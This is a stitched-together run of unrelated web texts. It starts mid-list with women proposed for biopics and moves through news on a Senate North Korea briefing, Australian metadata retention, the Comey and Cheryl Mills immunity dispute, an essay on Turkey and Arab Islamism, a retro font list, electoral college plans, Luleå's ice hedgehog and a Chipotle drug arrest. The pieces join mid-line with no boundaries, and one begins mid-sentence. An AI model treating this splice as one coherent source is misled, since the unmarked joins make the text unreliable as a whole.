Hollywood loves a tale of a self-made mogul, so why not tackle that of the first American woman to become a self-made millionaire? Walker came from humble beginnings, born to recently freed slaves on a cotton plantation in 1867. By 14, she was married. By 20, she was a widow and single mother. Yet Walker overcame, finding work in her brothers' barbershop as a washerwoman, where she noticed that her hair was falling out. She developed a tonic that helped re-grow her hair, and began marketing it across the country, and even into Latin America.
Rebranded as Madam C.J. Walker, she'd tour the U.S. selling her products and growing her empire. As her company expanded to factories and beauty schools, so did her philanthropic efforts toward the advancement of African Americans. Her story is not just one of personal success, but of drive, community, and advocacy.
11. BIG BERTHA HEYMAN // THE CONFIDENCE QUEEN
They called her "The Confidence Queen," and what better name for a crime-drama about this Prussian immigrant with a twisted take on the American Dream. In 1880s New York, Heyman repeatedly exploited people's thirst for wealth to line her own pockets. Not even arrest could cage her. She continued to scam from her prison cell, and repeatedly convinced the cops to let her leave for outings to the theater and carriage rides around Central Park.
12. TRIỆU THỊ TRINH // THE TITAN OF VIETNAM
Perhaps you'd prefer an incredible epic about an unparalleled warrior? Well, this Vietnamese heroine's legend is overflowing with flashy details. It's said the 20-year-old was 9 feet tall with a voice that sounded loud as a temple bell. Dressed in vibrant yellow and wielding two swords, she rode into battle on a war elephant as she fended off the relentless Chinese forces.
But best of all, Trinh delivered the kind of speeches made for big movie moments, like: "I only want to ride the wind and walk the waves, slay the big whales of the Eastern sea, clean up our frontiers, and save the people from drowning. Why should I imitate others, bow my head, stoop over and be a slave? Why resign myself to menial housework?" And the music soars!
13. JOSEPHINE BAKER // BLACK PEARL
You might know this Creole triple threat for her saucy dance routines and dazzling persona. But a biopic about Baker would be incomplete without an espionage angle. During World War II, Josephine Baker was recruited by the French Resistance to be a spy. Her acceptance is the stuff of great screenplays:
"France made me what I am. I will be grateful forever. The people of Paris have given me everything. They have given me their hearts, and I have given them mine. I am ready, Captain, to give my life. You can use me as you wish."
Baker's beauty and fame served as a great cover for her covert ops. Her international acclaim gave her access to high-ranking Axis officials, allowing her to secure information. In secret, she trained in karate, and supposedly became such a skilled marksman with a pistol that she could shoot out the flame on a candle. She hid her notes in her unmentionables, and delivered messages on music sheets using invisible ink. There was also a narrow escape from Nazi forces, a torrid romance with her intelligence contact, Jacques Abtey, a false report of her demise, and being decorated for valor by General Charles de Gaulle. And all the while, Baker kept her career as a performer. Not even James Bond could pull all that off!
14. THE NIGHT WITCHES
For a World War II adventure complete with edge-of-your-seat action sequences, turn to the tale of the all-female Night Bomber Regiment of the Soviet Air Forces. Over the course of three years, these young women (ages 17 to 26) flew 30,000 missions and dropped 23,000 tons of bombs on the invading Nazi forces. Even more remarkable, these fighter pilots favored the cover of night for their attacks, and flew planes made of plywood and canvas—all the better to silently sneak up on German bombers. It's for the soft whooshing of their planes and their nightly assaults that these patriots won their fantastic name.
It took two women, a pilot and a navigator, to man each of the Night Witches' planes—making for the perfect setting not only to explore the adventure of these fearless flyers, but also the sisterhood that helped the Soviet Union resist Nazi invasion.
15. MARY BLAIR // DISNEY LEGEND
A gifted painter with a vibrant imagination and influential use of color, Mary Blair was a concept artist whose works defined a generation of Disney animation, from The Adventures of Ichabod and Mr. Toad and Peter Pan to Alice in Wonderland and Cinderella. As a young woman she dreamed of going into the fine arts, but the Depression pushed her into animation. There, she ultimately channeled her passion for color and distinctive aesthetic into groundbreaking designs.
It's Blair who is credited with introducing Walt Disney to modern art, inciting a shift in his studio's aesthetic. Disney himself called her in to design the look of his iconic It's A Small World ride. Her rise through the Disney ranks to one of their official "legends" could be beautifully illustrated with the same kind of whimsy and color that her works were.Donald Trump does an interview with BBC Panorama in 2013 (Screen cap).
After a national security briefing requiring the attendance of the entire Senate, some Democrats said the severity of President Donald Trump’s aggressive posturing with North Korea’s Kim Jong-un may be worse than previously reported.
“This is [an] absolute complete mess and only the president can clear this up by getting on the same page with the people that we got briefed by today,” Sen. Chris Murphy (D-CT) told BuzzFeed News’ Emma Loop.
Murphy was joined by Sen. Chris Coons (D-DE), who claimed that after the briefing, he believes the president may have gone “beyond” national security advice in his threats to Pyongyang.
“There clearly have been some moments in recent weeks where his rhetoric may well have gone beyond what he was advised to do,” Coons told Loop.
Though he didn’t provide specific examples to back up his comments, Coons told Loop that the president was “far more aggressive and threatening [towards] Kim Jong-un than was called for” — a posture that “may have exacerbated tensions or accelerated the potential of conflict.”
Read Loop’s entire post-briefing thread below.
After all-senators briefing today on NK/Afghanistan, some Dems said it was clear Trump has gone beyond his natsec team’s advice in comments. — Emma Loop (@LoopEmma) September 6, 2017
Coons wouldn’t talk specifics but pointed to reports re: pulling out of South Korea trade deal and… — Emma Loop (@LoopEmma) September 6, 2017
That aggressiveness "may have exacerbated tensions or accelerated the potential of conflict,” Coons said. — Emma Loop (@LoopEmma) September 6, 2017
Sen. Murphy: “This is [an] absolute complete mess and only the president can clear this up by getting on the same page with” briefers. pic.twitter.com/XFnrUj7Qa6 — Emma Loop (@LoopEmma) September 6, 2017
Sen. Corker answered the question of whether there was a disconnect between Trump/briefers by talking about their professionalism/demeanor: pic.twitter.com/h0S6MIagna — Emma Loop (@LoopEmma) September 6, 2017This poster is an extra large poster print. Our posters are of a high resolution. Our images are also professional laminated so that they look even glossier, last longer and stay protected from water, fingerprints and dirt. You can even clean the poster with soap and water whenever necessary. Total Size W 46 ¾ inches x H 33 inches ( W 118.8 cm x H 84 cm ) This Poster is composed of 8 sections that fit together to make 1 giant Poster. Each section measures 420 x 297 mm (A3) (UK Size A3, USA size approx ANSI B Ledger/Tabloid) The finished product has been professionally printed onto 230 gms photographic paper using state-of-the art digital printing equipment to give an excellent print quality These prints can be mounted in many different ways, either directly to a wall or onto an artist mounting board. You can use 3M Spraymount or display mount adhesive spray, blu tack or glue dots. Your poster will be securely packaged in one of our double walled all board envelopes with 2 x corrugated cardboard stiffeners to ensure safe delivery
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Although this method does not produce an flat professional look it is easy to install and remove if required.Australia's attorney-general has suggested that no warrants should be needed to access the nation's planned trove of telecommunications metadata, because the data isn't an invasion of privacy to rank with entering a home.
In a submission (PDF) to the inquiry into Australia's Telecommunications (Interception and Access) Amendment (Data Retention) Bill 2014. the attorney-general's department suggests that the process of obtaining a warrant would slow down investigations and that warrants therefore aren't warranted.
The submissions contradicts conclusions reached by the Parliamentary Joint Committee on Human Rights, which last year recommended warrants before acces to the data.
But the AG's submission says “The benefits of introducing a warrant regime would be outweighed by the impact on agencies’ ability to combat serious crime and protect public safety,” going on to offer the following rationale:
“Timely access to telecommunications data can provide agencies with vital leads before evidence can be lost or destroyed. However, warrant applications are resource intensive, and can take days, if not weeks, to prepare and complete. Delaying an agency’s ability to begin an investigation by this length of time would seriously harm their ability to investigate crimes or threats to national security.”
The submission also advances this argument:
“Warrants are also typically reserved for the most intrusive powers, such as the power to enter a home, intercept phone calls, or access stored communications. Many information-gathering powers that are exercised by agencies under Commonwealth, State and Territory laws do not rise to that level of intrusiveness and may be exercised without a warrant. Examples of such powers are powers to obtain banking, financial and healthcare records. The power to access data is only of the same level of intrusiveness as these powers. Non-warranted access to information is a normal part of any law enforcement framework.”
The submission goes on to say that independent oversight of metadata use should do the job, as if law enforcement agencies know their access to the trove “ is a strong deterrent against non-compliance or misconduct.” The current bill proposes the Commonwealth Ombudsman take on that role.
Elsewhere in the submission, the department rules out any alternative scheme other than the current metadata retention bill, arguing other schemes around the world have proven ineffective.
A defence of the 24-month retention proposal can also be found, on the grounds that about 10 per cent of metadata requests come more than a year after communications took place. Transnational investigations and probes into complex crimes, the submission says, move at a speed that makes retention for two years essential.
There's also an argument that the proposed metadata data set must not be reduced, as with less metadata investigations become harder.
Small telcos may welcome the point that the bill contains “ … no restriction on providers of wholesale telecommunications services providing a data retention service on behalf of their wholesale customers, which would likely increase efficiencies and reduce the cost impacts across the sector.”
The AG's department is the source of the bill and attorney-general George Brandis has never wavered in his support for metadata retention, so the submission's strong support for the bill as it stands will come as no surprise.
Other submissions we've glanced at offer different views – we'll get to them as fast as possible! ®Once again, we’re left with more questions than answers.
FBI Director James Comey has continued to face criticism over his bureau’s investigation into Hillary Clinton’s email, including the numerous immunity deals given to her aides. Well, it turns out, the FBI didn’t give immunity to Cheryl Mills, a longtime aide:
“Who authorized granting Cheryl Mills immunity?” Rep. John Sensenbrenner asked. “It’s a decision made by the Department of Justice, I don’t know at what level inside,” Comey responded. “In our investigations, any kind of immunity comes from the prosecutors, not the investigators.”
The FBI doesn’t hand out immunity deals:
Comey added he understood Mills’ immunity as a request pertaining to the production of her laptop during the investigation. “The FBI doesn’t grant immunity to anybody, the Department of Justice is able to grant very different kinds of immunity,” Comey said. “If new and substantial evidence develops a witness lied [under immunity], of course the Department of Justice can pursue it. Nobody gets lifetime immunity.”
Last Friday, House Oversight Committee Chairman Jason Chaffetz (R-UT) lashed out at the FBI over the immunity deals:
“No wonder they couldn’t prosecute a case,” Chaffetz said. “They were handing out immunity deals like candy.”
Comey told Rep. Ben Sasse (R-NB) that Mills needed the immunity “because without it, Mills would have fought investigators tooth and nail in an effort to withhold her computer.” But as Guy Benson points out, Hillary has claimed she and her team have fully cooperated. Well, doesn’t this declaration contradict her statement?
He also told Chairman Rep. Bob Goodlatte (R-VA) that Mills was in fact a “subject” of the investigation because of her computer. Comey confirmed Mills had classified emails on her computer, but denied she committed a crime because they do not know why she had the emails on her unsecure server:
“You’d have to know the circumstances,” Comey told committee Chairman Bob Goodlatte, R-Va.
Yeah, I don’t get it either.
Despite all of this, the FBI and DOJ allowed Mills to act as Hillary’s attorney and sit in on Hillary’s interview even though she was a witness. Thus, acting as Hillary’s attorney her communications with the presidential candidate are considered privilege. NOTHING TO SEE HERE, FOLKS. But the GOP knows there is more to it:Nothing is more fallacious than projecting Turkey as a model for the fledgling Arab Spring democracies. Not for lack of good practices on the Turkish side. Rather, the problems rest with the Arab side, in my view. The software (Turkish know-how), as it were, does not suit the existing hardware (Arab Spring republics). How and why? A few areas call for attention.
Arab and Turkish Islamism
The eruption of Arab revolutions has done wonders to Turkey. It is all of a sudden catapulted into the limelight as the most relevant transitional example. That is, one on which new Arab transitional candidates may potentially be modelled. It is not just democracy that advocates have in mind. It is precisely "Islamic" or AKP-type democratisation that draws the advocates' attention. Even here, the argument could not be more flawed.
The brand of AKP democracy invokes "Muslim politics" - the use is intended to take precedence over "Political Islam" and "Islamism".
The difference is often missed until Dale Eickelman and James Piscatori put the question to bed. The two scholars launched the career of the concept in the 1990s. In its gist it refers to how Islam's ideals are wedded to reality, by recycling, reviving, selecting, re-thinking and reinterpreting the wide range of symbols and intellectual resources cumulatively added to the religious canons over a period of 1,400 years. The upshot are contests and counter-contests over meaning, fragmentation of sacred authority, and unprecedented access of arguably more educated Muslim masses to the interpretive vocation, once the exclusive bastion of the learned.
Islamism seeks civic re-branding of Islam. It is generally driven by a top-down movement in which the symbols of Islam are re-arranged to suit political ends: systematic Islamisation of state, society and culture. This movement has had its ups and downs, including periods of attrition (confrontation with the national-secular state) and disputations amongst various Brotherhood schools (Sudan, Jordan, Palestine, Gulf and Maghreb countries' reinterpretations fine-tuning those of the "mother-organisation" in Egypt). The difference between Turkish and Arab Islamism is as follows: Arab Islamists have privileged theory over practice; Turkish Islamists have almost done the opposite.
Not directly tied to Turkish Islamists, but Fethullah Gulen's eclecticism (open to market economics), pragmatism (gradual renaissance, less emphasis on dogma, stress on education) and spirituality (with a Sufi content), and nationalism (Turkish, local knowledge derived from Nuri Said's teachings) are difficult to match with Arab seminal ideologues, which count amongst their ranks brilliant thinkers such as the late Shaykh Muhammad al-Ghazali of Egypt (open to democracy, equal gender relations, universal citizenship and rule of law).
The lineage of both brands of Islamism and the "workshops" where they are forged are different.
Muslim politics more or less facilitates participation by the previously excluded multitude. The gates of speech, too, are flung wide-open. This is where the AKP comes in handy: building resourcefulness in politics to crystallise and prove the utility or relevance of Islamic symbols. There are no clerical oligarchs who pontificate - AKP has no analogue to Hassan al-Banna, Sayyid Qutb, Hassan al-Turabi or Rachid Ghannouchi. However, they have amongst their ranks thousands of successful industrialists, businessmen, entrepreneurs, artisans, professionals and civil servants.
Building 'Islam-city'
As if the AKP builds "Islam-city" bottom-up, acquiring the savoir-faire of both politics and Islam by engaging with the horizontal dimensions of life: how to build modern infrastructure, alleviate poverty, transfer factories from Europe to Turkey and construct a robust work ethic. For Arab Islamists, "Islam-city" remains largely discursive: that is of course until the election of Islamists into power such as in Egypt and Tunisia in the context of the Arab Spring.
That is, it is a figment of re-imagining community, a process threaded to Quranic injunctions and hadiths, and only meekly tied to the travails of how to build a modern economy, a country that works and states that master the art of the game of nations: competitively safeguarding sovereignty and being ahead in the learning curve of the global economy.
To recap, there are three major criteria for drawing parallels and recording differences between the two types of how to be Muslim and active in politics:
In terms of ontology, the AKP and Arab Islamisms agree: in essence, Muslim identity cannot exist de-coupled from Islam.
When it comes to epistemology: for the AKP, verifiability of Islam-city (civic Islam) finds validation in empirical savoir-faire and the attendant tests of Western modernity. For Arab Islamists, dogma, teleology and eschatology are inextricably linked to the search for some notion of "Islam-city" through which the alternative to modernity delivers contests.
Methodologically, the AKP pragmatically enacts the symbols of Islam quantitatively, privileging hands-on approaches to seek quality, whereas Arab Islamists are qualitative seekers of truth, with quantity being secondary: material success has no meaning if it overlooks eudemonia (happiness) in the hereafter.
Arab and Turkish secularisms: The route to democracy
There is a Turkish distinction without Arab equivalence. Since the time of Kemal Ataturk, secularism in Turkey has opened up continuous workshops in which polarities forged the dynamics of diversity within unity, and opposites who pluralised the system and eventually set it on a democratising track.
Arab secularisms have been incoherent, rigidly rejecting all opposition. When socialism was state policy, defenders of the market or and liberal politics were constructed as state enemies. When times changed and an open-door policy evolved as the state's political mantra, discourses, moralities and ideologies on the left of the political spectrum became the new marginal. By and large, the vagaries of the "left" and the "right" proscribed religious voices and forces.
East-West divides have been turned into grounds for creating a workable synthesis, on Turkish terms, through which the excesses of Ataturk's quest for Europeanisation are blended with Turko-Islamic yearnings. Turkey has transcended the "Western complex". Arabs, generally, and Islamists more specifically, have turned the "West" as a constant antithesis, a kind of "Orientalism in reverse", countering Western theses of "exceptionalism" about Arabs and Muslims.
Moreover, Turkish "Muslim politics", by under-stating dogma and verifying the symbols of Islam in engaging with modernity in a vast territory in which the bar was raised for the country's industrialists, entrepreneurs, human rights and democracy advocates, and even EU advocates, has gradually learnt how to reconcile the imperatives of secularism and Islamism.
Arab Islamists are, in varying degrees, too dogmatic to raise the level of the discursive and the sophistication that derives from an appreciation of "Smithean logic" (metaphorically) in making wealth for their nations, building countries that work and in competing or developing a vigorous work ethic. Only in these workshops the complex of secularism may be tested, adjusted, and, perhaps, superseded. Declarations of the much-vaunted "Islamic state" thus far lack the practical engagement with modernity's complexities, innovations and scientific, medical and technological revolutions.
That Turkey is today on course to economic greatness and democratic consolidation must be understood within Turkish specificity: "democratising dialectics" that locked polity and society into a reformist logic of no return. It is through this that structural achievements over a 60-year period, since multi-partyism was launched, that the building blocks of political and economic development have been laid. En route to the current context, Ataturk and Erdogan represent, on the surface, opposites. In practice, combined, respectively, as thesis-antithesis, have created the synthesis that is today Turkey.
Democratic dialectics
Thus each of the political figures in the leadership phalanx in Turkey represents a necessity to mother the invention of the systemic processes of Ataturkist nationalism, military-bureaucratic centralism, followed by multi-partyism, including religious parties, through to democratisation.
Ataturk preserved the Anatolian motherland, and dismantled the Ottoman imperial regime, founding a brand of centralised republicanism. By introducing multi-partyism, "Neo-Ataturkist" Ismet Inonu rebelled against Ataturk's single-party and patrimonial polity, and reaching to the periphery. He ended the dominance of Ataturk's Republican People's Party (RPP), and along with RPP rebels, they had the Democrat Party (DP) as a contender for power by the 1946 general election. Four years later, multi-partyism was in full swing, with the DP winning the 1950 election and leading the government for close to 10 years.
Suleyman Demirel broke with tradition when he revolutionised economic strategy, favouring export-based orientation, the onset of fully-fledged capitalism. It marked the onset of new democratic dialectics in which workers and the forces of the left sharpened their political skills and opposition.
The 1960s, which was marked by a coup against Prime Minister Adnan Menderes' government, created sufficient democratic dialectics the upshot of which was a momentum pitting civil society against the military and bureaucracy. This was a prime example of how opposites created the transformative dynamics of internal sparring between the forces of paternalistic political patronage and democratic pluralism.
Even throughout the 1960s and 1970s, under military tutelage and façade democratic competition, from Suleyman Demirel's Justice Party politics through to Bulent Ecevit of the RPP, Turkey's polity was acquiring the structural conditions of democratic transitions and society was enabling itself by consolidation of the agency to organise politically.
By the 1980s, the military under General Kenan Evren was eager to steer politics from the sidelines, aided by constitutional guardianship, as new dialectics began with the birth of Kemalism's most vigorous antithesis: the National Salvation Party and its leader Necmettin Erbakan. Just as qualitative as the rise of Muslim politics in Turkey, which shook the military, the defenders of the Kemalist republic, was Turgut Ozal and the Motherland Party who helped modernise and transform Turkey in the 1980s and early 1990s.
This was an historical moment that marked the severing of the umbilical cord with the generals, unlike under the Demirel and Bulent Ulusu's governments, which pandered to the top brass. The 1983 election fought under a proportional system, and won by Ozal, asserted society's thirst for autonomy from the army, setting in motion the process of civilianisation of polity. Erdogan closed the circle: deepening Ozal's quest for civilianisation of polity (hence the systematic dismantling of the deep state), economic development and globalisation, and closer ties with the European Union. There would have been neither Ozal nor Erdogan without Ataturk, Evran, Demirel, or Erbakan.
Ozal has no Arab analogue in any of the republics ousted by three revolutions in 2011, Egypt, Libya and Tunisia. Arab politics were drenched in deep singularity, literally with ruling mass-mobilisation parties occupying the state, eventually privatising politics. The difference could not be starker: Turkey's state-building began with a narrow ideational and leadership base, which continuously widened, creating openings generated by democratic dialectics, through which thesis and antithesis yield synergy. Arab state-building started with a wide power base, which had been tattered gradually under the juggernaut of eliminating all opposition in the name of national unity and uniformity.
Turkish model versus Turkish good practices
All the Turkish leaders mentioned, however, worked within the parameters demarcated by the republic's architect Ataturk who remains first amongst equals amongst the inheritors of the ship of government in Turkey: commitment to Turkish nationalism, under the watchful eyes of the military, and the quest for modernity, economic development and democratisation.
However, piece by piece, the early Kemalist tutelage is turned into a dispersed project of collective ownership guided by the objectives of modernisation of economy and society, and de-centralisation, de-bureaucratisation, de-militarisation and democratisation of polity. The new vision is guided by deeper pluralisation so that citizenship includes the sizeable Kurdish minority. This is where the Justice and Development Party or AKP may succeed where its predecessors have failed. Only time will tell how this workshop of refashioning citizenship proceeds.
Turkish democratisation is still unfurling and has imperfections, which Turkish critics, including from within the government know of: deeper and wider universalisation of citizenship rights, and improved human rights. This is the next learning curve for Turkish democrats, including within the AKP. Plus, Turkey needs a new and robustly democratic constitution! |
not disrupt its readability or its effectiveness. This well-designed cursive, with its delicate hint of the antique, is not mere wedding-invitation fare.
Ecolier
This upright cursive is as architectural as it is ornate. The Deco-tinged contours of Ecolier seem to draw their inspiration from the delicate curves of calligraphy as well as the towering forms of modern engineering.
Olho de Boi
According to designer Billy Argel, Olho de Boi is a font inspired by the first Brazilian postage stamp released on August 1, 1843. The idiosyncratic scratches and loops make this script seem to come straight out of old letters.
Treasure Map Deadhand
There may only be one International Talk Like A Pirate Day, but why not write like a pirate every other day? This font is aptly named: the pirate-inspired scrawl resembles the waterlogged italics of a lost treasure map.
Nouveau and Deco Fonts
Fletcher Gothic
From Casady & Greene, Fletcher Gothic is an Art Nouveau font with clean lines and striking details: use it to bring turn-of the-century style to this century’s graphics.
Hadley
The curvilinear forms of this font recall the plant-like contours of Art Nouveau. Hadley brings an organic quality to text that allows it to refer to the past without losing its contemporary relevance.
Secesja
If Alphonse Mucha had designed a font, Secesja might be it. Sinuous serifs and spiraling ornaments make the letterforms burst with life.
Trinigan
In the early 1900s, Charles Dana Gibson’s pen and ink drawings of corseted women with bouffant hairstyles came to be known as “Gibson Girls.” Trinigan, with its undulating arms and hourglass stems, revives this classic figure in typographic form.
Parisian
George Williams’ Parisian font at once evokes a sidewalk café, a theater marquee, and the hushed crackle of a phonograph.
Michelle FLF
The geometric winding of this all-caps font almost resembles musical notation. Still, Michelle’s typographic potential is clearly not limited to ragtime and jazz.
Bodoni Ultra
Though there are many modern revivals of Bodoni’s orginal typeface that align it more readily with Times New Roman than times past, Bodoni Ultra is a striking exception. The dramatic alternation between thick and thin strokes echoes Chauncey H. Griffith’s 1929 Bodoni Poster typeface, used widely in popular print media.
Sesame
Jugend magazine, the publication that helped launch the German Art Nouveau movement (“Jugendstil”), was a trendsetter when it came to the graphic and decorative arts of the late 19th century. Sesame is a font in the spirit of a Jugend cover: lavish, distinctive, and eccentric.
Conga Line
Betty Boop meets Broadway in a Conga Line: the 1930s charm of this font comes from its blend of cartoonish bounce and cinematic monumentality.
Tall Deco
Another architectural font, Tall Deco suggests the glass and ironwork of modern skyscrapers.
Modern and Avant Garde Fonts
Engimatic
Enigmatic and Waukegan echo the softened rectangular shapes of Bell Gothic, a typeface ommissioned by AT&T in the 1930s for use in telephone directories. Bell Gothic was and is a highly recognizable typeface that has been used for avant garde as well as popular graphics.
Waukegan
akaChen (in the spirit of Clarendon)
This font bears a marked resemblance to the Clarendon typeface, which was first designed in the mid-19th century and has been used frequently in display work.
Pardoes (echoes De Stijl typefaces)
Reminiscent of De Stijl artwork of the 1920s, such as the paintings of Piet Mondrain, Pardoes is abstract and geometric without being illegible.
Agit Prop
A font in the spirit of Soviet Constructivism, Agit Prop is intended to convey the graphic essence of Bolshevist agitation and propaganda. Whether or not you agree with the politics behind the design, it’s difficult to deny this font’s stark and monumental beauty.
Further Resources
20+ High-Quality Free Fonts for Retro and Vintage Design
Retro / Vintage fonts on Dafont
Over 300 various free retro fonts, with a preview option and various filter views.
Vintage Type Showcase A Flickr Pool with classic vintage typography.
Letterheadfonts
A famous type foundry with impressive vintage and retro fonts.
Houseind
Probably one of the largest type foundries specializing in vintage typography.
Fontdiner
Another vintage type design foundry.The news media have started paying some attention to the Republican plan to rig the electoral college (a plot I mention in my story in this week’s print magazine). The latest entry here is Pennsylvania, where the Republican State Senate leader is proposing a bill to split up the state’s electoral votes.
David Frum says this is all just business as usual, citing a 2004 attempt by Democrats to allocate Colorado’s electoral votes proportionally. “Moral,” he concludes, “when it comes to setting the rules of the game, there are no angels.” I agree that there are no angels and both parties like winning. But Frum’s example here is not very apt at all.
What we’ve seen since November is a concerted effort by the Republican Party to leverage both its control of a number of state governments and its gerrymandering of the House map in those states. With the express support of the RNC chairman, and at least cautious initial support by the leading Republican elected officials in the affected states, Republicans floated plans in every GOP-controlled blue state to allocate electoral votes by congressional district. The plan would have the double benefit of splitting a number of blue state electoral votes, while red state electoral votes remain indivisible, and allocating those votes in such a way as to ensure that the GOP’s share of electoral votes from those states vastly outstrips its share of the vote.
Of those factors I just described, none were present in the 2004 effort to rejigger Colorado. I went back and read everything I could find on the plan on Nexis, and there was no evidence of any elected-level Democratic support for the plan (let alone a national campaign to split up Republican votes wherever possible). The plan seemed to spring from liberal activists and was opposed by Democratic officials. What’s more, it would have allocated the state’s electoral votes proportionally rather than by district — unfair still, but less unfair than the Republican plans to guarantee their candidate wins more electoral votes even in states he could lose.
Now, in any case, the electoral college rigging scheme has rapidly lost momentum over the last couple of weeks. What interests me about it, and what inspired my piece, is it suggests a certain panic about democracy itself at work in the Republican Party right now. Republican officials have argued, in support of the electoral college scheme, that it is unfair for urban voters to outvote those who live in small towns.
In my essay, I categorize the electoral college plan along with the wave of limits on voting rights, the congressional GOP assertion of the right to nullify duly passed votes by refusing to confirm any appointees to carry them out, and the rise of the Constitution in Exile movement, which uses the courts to impose laissez-faire policies that can’t be passed legislatively.
All of these things are an attempt to handle political adversity by expanding the ability of the conservative minority to wield political power. Not all of them will succeed perfectly, or even at all. But it’s indicative of the party’s current state — not a coordinated strategy by any means, but a kind of adaptive response to the growing sense of being outnumbered at the polls.A Liberal MP has performed a sensational backflip on a motion against radical extremism after introducing the issue herself.
Gabrielle Upton promised to 'disarm' dangerous extremists and hate preachers following the murder of NSW Police accountant Curtis Cheng, saying the Australian way of life is under threat.
'We cannot allow violent race hate speech to fan flames of division and tear our community apart,' she said in 2015.
However, the Environment, Local Government, and Minister for Heritage stunned her 'bewildered' constituents in a cabinet meeting a fortnight ago, slamming the laws she introduced, the Daily Telegraph reported.
A Liberal MP has performed a sensational backflip on a motion against radical extremism after introducing the issue herself
Gabrielle Upton promised to 'disarm' dangerous extremists and hate preachers following the murder of Curtis Cheng (pictured left), saying the Australian way of life is under threat
Radicalised 15-year-old Farhad Khalil Mohammad Jabar shot dead Mr Cheng in 2015
Upton was vehement in ensuring attacks similar to the shooting at the Parramatta police station would not happen again, saying Australia had an obligation to be 'vigilant to and guarding against the spread of racial vilification.'
Attorney-General Mark Speakman attempted to introduce the issue in a meeting in early December, but was rebuffed by Upton who said it was not the time to be discussing such a topic.
Upton instead wanted to discuss the NSW government's decision to approve a $2 billion demolish-rebuild for ANZ and Allianz Stadiums, ignoring the issue she so strongly fought for two years ago.
Upton instead wanted to discuss the NSW government's decision to approve a $2 billion demolish-rebuild for ANZ and Allianz Stadiums, ignoring the issue she so strongly fought for two years ago
Several ministers were shocked by the backflip, saying cabinet members were 'confused' by her change of heart.
'Speakman was a bit bewildered. He was confused as to how people have confused free speech with racial vilification,' a Cabinet minister told the Daily Telegraph.
The attempts to change the Anti-Discrimination Act were also objected to by Dominic Perrottet and other ministers, based on it impeding on free speech, and successfully had the agenda thrown out.Anarchists Hang Banner "Freedom To Palienka" On Minsk Highway 24.07.2017, 14:30
ZMITSER PALIENKA
Anarchists hanged a banner on one of the Minsk bridges to show solidarity with the political prisoner.
Zmitser Palienka is serving a two-year sentence in a colony in Babruisk, where he manufactures gloves. Palienka has the status of "extremist" in the colony, he wears a yellow tag on his clothes.
Zmitser Palienka is a former activist of the National Bolshevik Party. He is a member of the anarchist movement since 2014.
There was a clash between Palienka and traffic police officers during the cycle race "Critical Mass" last year. As a result, a criminal case was initiated against the activist under Article 364 ("violence or threat of violence against an employee of the internal affairs bodies").
In March, the court canceled the postponement of sentence for Zmitser because of his political activity. He was charged with two administrative offenses for picketing in Kurapaty and for the participation in "March of Non-Parasites."Every winter for the last 29 years, Englund, 57, has added a dash of brightness and fun during the darkest days of the year.
And this winter was no exception, as Englund was on hand at the city's bustling Stadsparken park for the much-anticipated unveiling of Luleå's "ice animal" on Tuesday.
As crowds of onlookers and journalists looked on, Iris the hedgehog, Englund's 12-tonne, snow and ice creation, was wheeled into place.
SEE ALSO: Sweden's most dangerous animals
"There were more journalists and photographers there this year," he tells The Local.
"I never imagined it would become so popular."
Luleå's annual attempt to encourage locals to embrace rather than loathe winter's chill began nearly three decades ago when the head of the parks department approached Englund, a hobbyist ice carver who works for the parks department, with an idea.
"He wanted there to be something fun to do in the winter. We had seen postcards where someone had pasted an image of a polar bear in front of a picture of the city. Of course, there aren't any polar bears around here, but there was something about the image that we liked," Englund recalls.
But constructing a massive ice sculpture of local fauna wasn't enough, he explains.
"We thought it should also serve some sort of function; that it could be something people could use rather than just look at. So we decided to make the sculpture into a slide for kids," he says.
Indeed, the backs of Englund's sculptures have a small track carved out that allows young children to slide down like wannabe Olympic lugers.
"It's extremely popular. Last year we measured that about 60,000 rides had been taken," he says.
IN PICTURES: Sweden's 'coolest' concert: an igloo full of instruments made of ice
So far, deciding on what animal to sculpt has been "pretty easy" for Englund, who this year worked with a team of three others to create the massive hedgehog "in about a week", although work was delayed by several weeks due to the mild winter weather.
"We want the animal to be part of the local fauna, nothing crazy like an elephant or something like that. One year, we had a domesticated pig, though, so there is some variation," he says with a chuckle.
Iris the hedgehog perched in Luleå's Stadsparken. Photo: Andreas Johansson
All the sculptures are made from a mixture of ice and snow, and then painted to make them "as realistic as possible". Sometimes foam or plastic is used to add additional detail. Iris the hedgehog, for example, has eyes and a nose made of styrofoam.
"To get the spines on her back, I cut and sanded about 60 broomsticks," says Englund.
Other animals sculpted by Englund that have graced Luleå's Stadsparken include a frog, a woodpecker, an otter, a wolverine, and of course, an elk.
Englund's favourite?
"It's hard to say, but I guess it was a family of reindeer. There was a mother and two calves. I was really proud of the detail. They were just really nice," he says in recalling the 2006 ice animal.
Being "current" or in the news is part of the criteria for being chosen as the Luleå ice animal, Englund explains.
"There were some articles written last year explaining that hedgehog populations had been decimated in several parts of the country, so it seemed like an appropriate choice," he says.
Looking ahead to next year, which will mark 30 years of Luleå ice animal sculptures, Englund is careful not to let anything slip about what is the town's best kept secret every year.
"I'm sure we'll do something extra special next year, but we're not sure exactly what," he said.
Any clues?
"Well, we made models of two animals this year: the hedgehog and one more. Who knows, maybe that other animal might make an appearance next year," says Englund.
DON'T MISS: Top ten reasons Sweden is the best country for winter
The Local's Swede of the Week is someone in the news who - for good or ill - has revealed something interesting about the country. Being selected as Swede of the Week is not necessarily an endorsement.Radnor Police say Robert Lane, 22, worked at the Chipotle on Lancaster Avenue, where he was offering more than just chips and guac to some customers.
"My narcotics investigators found information that there were employees here selling marijuana," said Superintendent William Colarulo of Radnor Township Police.
Colarulo says that investigation weeks ago. Court documents show undercover officers began purchasing marijuana from Lane in mid-May.
"Today, they came out here with the intention of buying a significant amount of marijuana," says Colarulo. "That happened."
Undercover officers arrested Lane with a half-pound of pot on his person. Khydeem-Ahmad Shoatz was also arrested and is said to be one of Lane's co-conspirators.
"We're sitting eating," says Padd McNamera. "Next thing you know that side door opened and there was a cop who came in waving his arms, saying everybody get out. Pick up your food. Get out now."
Everyone left and then the arrests were made.
Township health inspectors also found drug paraphernalia in the bathroom toilet tank and numerous health code violations in the restaurant.
"Our health inspectors are going through it. The conditions are not very good that we're finding right now. We think there are some serious health concerns," says Robert Zienkowski, Township Manager.
